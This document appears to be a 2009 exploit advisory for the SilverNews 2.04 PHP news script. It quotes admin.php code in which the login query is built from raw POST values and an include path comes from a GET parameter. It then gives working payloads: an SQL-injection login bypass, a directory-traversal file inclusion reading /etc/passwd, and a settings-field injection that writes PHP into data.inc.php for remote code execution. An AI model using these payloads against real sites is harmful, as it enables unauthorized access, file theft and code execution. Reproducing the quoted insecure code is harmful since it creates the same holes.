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[0x01] Informations:
Name : SilverNews 2.04
Download :
http://www.silver-scripts.de/scripts.php?script=SilverNews&l=en
Vulnerability : Auth Bypass\LFI\RCE
Author : x0r
Contact : [email protected]
Notes : Proud to be Italian
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[0x02] Bug:
Bugged file is /[path]/admin.php
[Code]
// Get the user information from the database
$getinfo = $sql->query("SELECT password, username, id FROM
sn".$sql->prefix."_user WHERE username = '".$_POST['username']."' AND
password = '".$_POST['password']."'");
$info = $sql->fetch_array($getinfo);
...
// If "act" isn't set the user will be sent to the homepage.
if (!$_GET['act'] AND !$_POST['act'] AND !$_GET['section'])
{
$_GET['section'] = 'home';
}
require "admin/header.php";
if (file_exists('admin/'.$_GET['section'].".php"))
{
require 'admin/'.$_GET['section'].'.php'; #LFI
}
else
{
$admin->error('Datei konnte nicht gefunden werden!');
}
require "admin/footer.php";
[/code]
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[0x03] Exploit:
Exploit: username: ' or '1=1
password: x0r
LFI: admin.php?section=../../../../../../../../../../etc/passwd%00
RCE:
So we can bypass the admin login and then go to admin/settings.php and put your
evil code ^^ ex: 'show_cat_prefix' => $_POST['show_cat_prefix'], in the sho_cat_prefix we
put: x0r'; echo 'lol --> /data.inc.php
########################################################################################
# milw0rm.com [2009-02-06]
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